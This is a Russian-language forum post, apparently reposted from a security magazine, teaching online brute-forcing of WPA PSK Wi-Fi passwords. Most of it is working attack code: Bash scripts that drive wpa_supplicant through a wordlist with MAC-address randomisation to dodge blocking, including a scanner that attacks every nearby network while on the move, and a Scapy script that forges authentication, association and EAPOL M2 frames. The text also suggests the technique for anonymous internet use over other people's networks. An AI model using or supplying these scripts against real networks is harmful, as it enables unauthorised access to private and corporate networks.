Брут на ходу. Атакуем беспроводные сети простым и эффективным способом

SpecIT

Well-known member
Пользователь
Регистрация
3 Фев 2025
Сообщения
58
Реакции
12
Атаки на Wi-Fi чрезвычайно разнообразны: злоумышленник может попытаться взломать клиентские устройства и точки доступа, да и последние могут использовать разные протоколы и методы аутентификации. В этой статье мы рассмотрим простой, но эффективный метод брутфорса беспроводных сетей.

Наиболее часто встречаются сети WPA PSK. Даже если в компании используются сети WPA-Enterprise, а все остальное запрещено, мы всегда можем найти WPA PSK благодаря тем же беспроводным принтерам и всяческим несанкционированным точкам доступа, работающим на телефонах сотрудников. И чем больше периметр компании, тем больше таких потенциальных точек входа можно обнаружить. При атаках на точки доступа с WPA PSK обычно используется следующая схема.
Вы должны быть зарегистрированы для просмотра вложений

Но что делать, если у точки доступа нет клиентов? Грубо говоря, где‑то у половины обнаруженных беспроводных сетей будут отсутствовать активные клиенты, а другая половина не будет подвержена PMKID, и у таких сетей не обнаружится уязвимый к перебору WPS. Выходит, подобные точки доступа устойчивы к атакам, даже если на них используется пароль 12345678? А что нам мешает атаковать их?

ОНЛАЙНОВЫЙ БРУТФОРС С ИСПОЛЬЗОВАНИЕМ WPA_SUPPLICANT​

Подобрать пароль к обычной WPA-сети всегда можно простым перебором, аутентифицируясь и спрашивая каждый раз пароль непосредственно у точки доступа (этот метод называется онлайн‑брутфорсом).

Атаки онлайн‑подбором пароля к Wi-Fi-сетям крайне редки, и в интернете можно найти не так уж много реализаций такой атаки. Оно и понятно: ведь ее скорость низкая в сравнении с брутфорсом того же WPA Handshake или PMKID. Но именно эта атака может быть единственно возможной почти в четверти случаев. И пусть скорость подбора будет не так высока, это явно лучше, чем сидеть и ждать у моря погоды. Так ли нужна нам высокая скорость брутфорса, когда речь идет о небезопасных паролях? Можно предположить, что примерно на каждой десятой точке доступа использован пресловутый пароль 12345678. Неужели для атаки подобных устройств нужен хендшейк?
Вы должны быть зарегистрированы для просмотра вложений

А что, если мы возьмем с десяток самых слабых паролей? Реализовать онлайн‑брутфорс мы можем достаточно просто с помощью скрипта на Bash, используя лишь wpa_supplicant:

wpa-brute.sh​


Bash:
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOM
if [ "$threads" -eq 1 ]; then
    touch "/tmp/wpa_${rand}_${essid}.conf"
    while read -r password
    do
        [[ "${#password}" -lt 8 ]] && continue
        #sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
        wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue
        sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"
        sudo ifconfig $IFACE up
        sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &
        wpa_supplicant=$!
        tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
        do
        #echo "$line"
            if echo "$line" | grep -q "completed"; then
                break
            elif echo "$line" | grep -q "Handshake failed"; then
                break
            fi
        done
        sudo pkill -P $wpa_supplicant 2> /dev/null
        now=$(date +'%H:%M:%S')
        if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then
            echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET
            exit 1
          elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then
            echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET
          else
            echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET
            echo "$password" >> "$wordlist"
        fi
        rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
        rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
    done < "$wordlist"
elif [ "$threads" -gt 1 ]; then
    typeset -a pids=()
    for ((thread=0; thread<$threads; thread++)); do
        "$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
        pids+=($!)
        #sleep 0.25
    done
    for pid in ${pids[*]}; do
        tail --pid=$pid -f /dev/null
    done
fi
Скрипт будет пытаться подключиться к точке доступа, используя исключительно легитимное ПО. На каждой итерации, чтобы избежать блокировок, он может менять наш MAC-адрес на рандомный. Такой скрипт не требует особых режимов беспроводной сетевой карты и может быть запущен на любом компьютере и даже на устройстве с Android.

Вы должны быть зарегистрированы для просмотра вложений


Этот метод не так уж и плох, ведь даже Android по умолчанию управляет беспроводными соединениями через старый добрый wpa_supplicant. Cчитается, что онлайн‑брутфорс точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном брутфорсе паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.

В скрипте wpa-brute.sh есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN-интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant. Пока один ждет ответа от точки доступа, другой wpa_supplicant может отправлять пакеты аутентификации со следующим паролем. Значит, скорость брутфорса все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.

Добавив обертку вокруг скрипта wpa-brute.sh, мы можем реализовать брутфорс в ширину:

wpa_brute-width.sh​

Код:
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
IFACE=wlan0
TIMEOUT=60
PASSWD=()
MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done
#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)
#sudo killall -KILL wpa_supplicant 2> /dev/null
mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
do
  sudo ifconfig $IFACE up
  typeset -a bssids=()
  typeset -a essids=()
  typeset -a signals=()
  IFS=$'\x0a'
  for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'\n' $'\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK')
  do
    IFS=$'\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\t\3/p')
    if [ -n "$essid" ]; then
      #echo "[*] $bssid $signal $essid"
      bssids+=($bssid)
      essids+=($essid)
      signals+=($signal)
    fi
  done
  for ((i=0; i<${#bssids[@]}; i++))
  do
    echo "${essids[i]}"$'\t'"${bssids[i]}"$'\t'"${signals[i]}"
  done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt
  IFS=$'\x0a'
  for net in $(cat /tmp/wpa_brute/wpa_net.txt)
  do
    IFS=$'\t' read essid bssid signal <<< $(echo "$net")
    fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue
    echo "[+] $essid $bssid $signal"
    sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
    threads=0
    for passwd in ${PASSWD[*]}
    do ((threads++))
      echo "$passwd"
    done > /tmp/wpa_brute/wordlist.txt
    timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))
    echo "$essid" >> /tmp/wpa_brute/essids_known.txt
    break
  done
done
Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.

Брутфорс в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi-сетей, многие из которых — это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности. Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, — это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.

Использовать брутфорс в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.

ОНЛАЙНОВЫЙ БРУТФОРС С ИСПОЛЬЗОВАНИЕМ SCAPY​

Если в нашем распоряжении есть сетевая карта с режимом монитора и возможностью инжекта произвольных пакетов, можно попробовать самостоятельно реализовать брутфорс. Для этого нужно использовать протокол, по которому выполняется проверка ключа WPA PSK, — EAPOL. А именно первые два его пакета — M1 и M2. Пакет M1 будет отправлять точка доступа, так что нам нужно уметь его читать и на его основе формировать пакет M2, содержащий уже контрольную сумму пароля. И если мы получим от точки доступа еще и M3-пакет EAPOL, значит, пароль был верный.

В интернете я не нашел готовых примеров отправки WPA PSK через EAPOL, все, чем пришлось довольствоваться, — это куски кода, который выдергивает handshake. Тем не менее найденной информации оказалось достаточно для того, чтобы самостоятельно реализовать вычисление ключа WPA PSK с использованием EAPOL и построить всю цепочку negotiation.

Итак, прежде всего нам нужно имя (ESSID) и MAC-адрес (BSSID) беспроводной сети, которые можно получить из Beacon-пакета:
Python:
#!/usr/bin/python3
from scapy.all import *
from threading import Thread
from time import sleep
import hmac,hashlib,binascii
import random
from sys import argv
beacon = None
def get_beacon():
    def handle(p):
        global beacon
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        if target.lower() == seen_bssid.lower() and \
        Dot11Beacon in p:
            beacon = p
            print("[*] Beacon from Source {}".format(seen_bssid))
            return True
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Beacon), stop_filter=handle, timeout=WAIT)
Thread(target=get_beacon).start()
wait = 5
while not beacon and wait > 0:
    sleep(0.01)
    wait -= 0.01
if beacon:
    print("[+] beacon received")
else:
    print("[-] no beacon received")
    exit(1)
Подключаемся к точке доступа. Для этого ей нужно отправить запрос авторизации:
Код:
authorization_request = RadioTap()/Dot11(proto=0, FCfield=0, subtype=11, addr2=source, addr3=target, addr1=target, SC=0, type=0) / Dot11Auth(status=0, seqnum=1, algo=0)
is_auth_found = False
def get_authorization_response():
    def handle(p):
        global is_auth_found
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower():
            is_auth_found = True
            print("[*] Detected Authentication from Source {0}".format(seen_bssid))
        return is_auth_found
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Auth), stop_filter=handle, timeout=WAIT)
Thread(target=get_authorization_response).start()
sleep(0.01)
sendp(authorization_request, verbose=0, count=1)
wait = 15
while not is_auth_found and wait > 0:
    sleep(0.01)
    wait -= 0.01
if is_auth_found:
    print("[+] authenticated")
else:
    print("[-] no authenticated")
    exit(1)
Как только от точки доступа поступило согласие, отправляем Association-запрос:
Код:
association_request = RadioTap() / Dot11(proto=0, FCfield=0, subtype=0, addr2=source, addr3=target, addr1=target, SC=0, type=0) \
    / Dot11AssoReq(listen_interval=5, cap=0x1101) \
    / beacon[Dot11Beacon].payload
is_assoc_found = False
def get_association_response():
    def handle(p):
        global is_assoc_found
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower():
            is_assoc_found = True
            print("[*] Detected Association Response from Source {0}".format(seen_bssid))
        return is_assoc_found
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11AssoResp), stop_filter=handle, timeout=WAIT)
Thread(target=get_association_response).start()
sleep(0.01)
sendp(association_request, verbose=0, count=1)
wait = 15
while (not is_assoc_found or not anonce) and wait > 0:
    sleep(0.01)
    wait -= 0.01
if is_assoc_found or anonce:
    print("[+] associated")
else:
    print("[-] no associated")
    exit(1)
На наш Association-запрос точка доступа отвечает положительно и сразу начинает отправлять M1-пакеты EAPOL, в которых, кстати, часто и содержится тот самый PMKID. В этих пакетах нас будет интересовать поле ANONCE, на основе которого в дальнейшем будет считаться хеш‑сумма пароля:
Код:
anonce = ""
def get_m1():
    def handle(p):
        global anonce
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        key_mic_is_set = 0b100000000
        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower() and \
        not int.from_bytes(bytes(p[EAPOL].payload)[1:3], byteorder='big') & key_mic_is_set:
            anonce = bytes(p[EAPOL].payload)[13:13+32]
            print("[*] EAPOL M1 from Source {}".format(seen_bssid))
            return True
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(EAPOL), stop_filter=handle, timeout=WAIT)
Thread(target=get_m1).start()
wait = WAIT
while not anonce and wait > 0:
    sleep(0.01)
    wait -= 0.01
if anonce:
    print("[+] M1 ANonce: {0}".format(anonce.hex()))
else:
    print("[-] no M1 received")
    exit(1)
Вот теперь мы должны сгенерить M2-пакет EAPOL, более известный как WPA Handshake (в нашем случае пока еще Half-handshake):
Код:
def assemble_EAP_Expanded(self, l):
    ret = ''
    for i in range(len(l)):
        if l[i][0] & 0xFF00 == 0xFF00:
            ret += (l[i][1])
        else:
            ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) + l[i][1]
    return ret
def PRF_512(key,A,B):
    return b''.join(hmac.new(key,A+chr(0).encode()+B+chr(i).encode(),hashlib.sha1).digest() for i in range(4))[:64]
def get_rand(n):
    o = b''
    for _ in range(n):
        o += int(random.random()*255).to_bytes(1, 'big')
    return o
def b(mac):
    o = b''
    for m in mac.split(':'):
        o += int(m, 16).to_bytes(1, 'big')
    return o
pmk = hashlib.pbkdf2_hmac('sha1', password.encode(), essid.encode(), 4096, 32)
snonce = get_rand(32)
ptk = PRF_512(pmk, b"Pairwise key expansion", min(b(target),b(source))+max(b(target),b(source))+min(anonce,snonce)+max(anonce,snonce))
kck = ptk[0:16]
print("[*] PTK: {}".format(ptk.hex()))
print("[*] KCK: {}".format(kck.hex()))
eapol_data_4 = bytearray(117)
eapol_data_4[0:1] = b"\x02" # Key Description Type: EAPOL RSN Key
eapol_data_4[1:1+2] = b"\x01\x0a" # Key Information: 0x010a
eapol_data_4[3:3+2] = b"\x00\x00" # Key Length: 0
eapol_data_4[5:5+8] = b"\x00\x00\x00\x00\x00\x00\x00\x01" # Replay Counter: 1
eapol_data_4[13:13+32] = snonce # WPA Key Nonce
eapol_data_4[45:45+16] = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key IV
eapol_data_4[61:61+8] = b"\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key RSC
eapol_data_4[69:69+8] = b"\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key ID
eapol_data_4[77:77+16] = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key MIC
eapol_data_4[93:93+2] = b"\x00\x16" # WPA Key Data Length: 22
eapol_data_4[95:95+26] = bytes(rsn_cap) # WPA Key Data Length
mic = hmac.new(kck, b"\x01\x03\x00\x75" + bytes(eapol_data_4[:77]) + bytes.fromhex("00000000000000000000000000000000") + bytes(eapol_data_4[93:]), hashlib.sha1).digest()[0:16]
eapol_data_4[77:77+16] = mic
print("[*] MIC: {}".format(mic.hex()))
m2 = RadioTap() / Dot11(proto=0, FCfield=1, addr2=source, addr3=target, addr1=target, subtype=8, SC=0, type=2, ID=55808) \
    / Dot11QoS(TID=6, TXOP=0, EOSP=0) \
    / LLC(dsap=0xaa, ssap=0xaa, ctrl=0x3) \
    / SNAP(OUI=0, code=0x888e) \
    / EAPOL(version=1, type=3, len=117) / bytes(eapol_data_4)
def checksum(data):
    FSC = binascii.crc32(data) % (1<<32)
    FSC = str(hex(FSC))[2:]
    FSC = "0" * (8-len(FSC)) + FSC
    return bytes.fromhex(FSC)[::-1]
m2 /= checksum(bytes(m2))
sendp(m2, verbose=0, count=1)
Теперь нам нужно лишь ждать, отправит ли точка доступа M3-пакет EAPOL (вторую половину Handshake). Это будет означать, что мы угадали пароль. Если нет, возвращаемся в самое начало уже с другим паролем:
Код:
amic = ""
def get_m3():
    def handle(p):
        global amic
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        key_mic_is_set = 0b100000000
        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower() and \
        int.from_bytes(bytes(p[EAPOL].payload)[1:3], byteorder='big') & key_mic_is_set:
            amic = bytes(p[EAPOL].payload)[77:77+16]
            print("[*] EAPOL M3 from source {}".format(seen_bssid))
            return True
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(EAPOL), stop_filter=handle, timeout=WAIT)
Thread(target=get_m3).start()
wait = 1.0
while not amic and wait > 0:
    sleep(0.01)
    wait -= 0.01
if amic:
    print("[+] M3 AMIC: {0}".format(amic.hex()))
    exit(0)
else:
    exit(1)
Собрав все вместе, мы получим хорошо масштабируемый примитив.
Вы должны быть зарегистрированы для просмотра вложений

Вы должны быть зарегистрированы для просмотра вложений

Такой скрипт мы можем запустить многократно, на нескольких консолях одновременно, тем самым реализовав простое распараллеливание процесса:
Код:
while read password
do if sudo ./auth.py 00:11:22:33:44:55 test_wifi "$password"; then break; fi
done < passwords.txt
В скрипте brute.py этот код был немного реорганизован в более удобную для многопоточности форму.
Вы должны быть зарегистрированы для просмотра вложений

Вы должны быть зарегистрированы для просмотра вложений

Пароль подобран. Каждая попытка аутентификации выполнялась с рандомного MAC-адреса, чтобы клиент не заблокировали.
Если мы укажем слишком много потоков параллельного брутфорса, точка доступа может не поспеть за нами, в таком случае мы будем получать сообщения об ошибке. Однако скрипт прекрасно учитывает это, добавляя еще не проверенные пароли в начало очереди.

ВЫВОДЫ​

Теперь мы открыли недостающее звено в матрице действий.
Вы должны быть зарегистрированы для просмотра вложений

А заодно мы изучили еще одну простую, давно забытую, но очевидную атаку.

Используя скрипт wpa_brute-width.sh, мы сможем отыскать небезопасный принтер среди сотен беспроводных сетей, которые просто нереально атаковать в ручном режиме, да еще и в движении. Для подобной атаки нет особых требований — атакованной может быть любая беспроводная сеть WPA PSK, а саму атаку можно вести с любой сетевой карты и даже с телефона.

Атакуя тот или иной объект, мы никогда не знаем весь перечень доступных беспроводных сетей. Более того, и сам заказчик пентеста может не подозревать о потенциальных точках входа. Разнообразные беспроводные устройства, забытые и несанкционированные сети — отличный тому пример.

Код всех предоставленных утилит доступен в .

Автор @s0i37
 
Сверху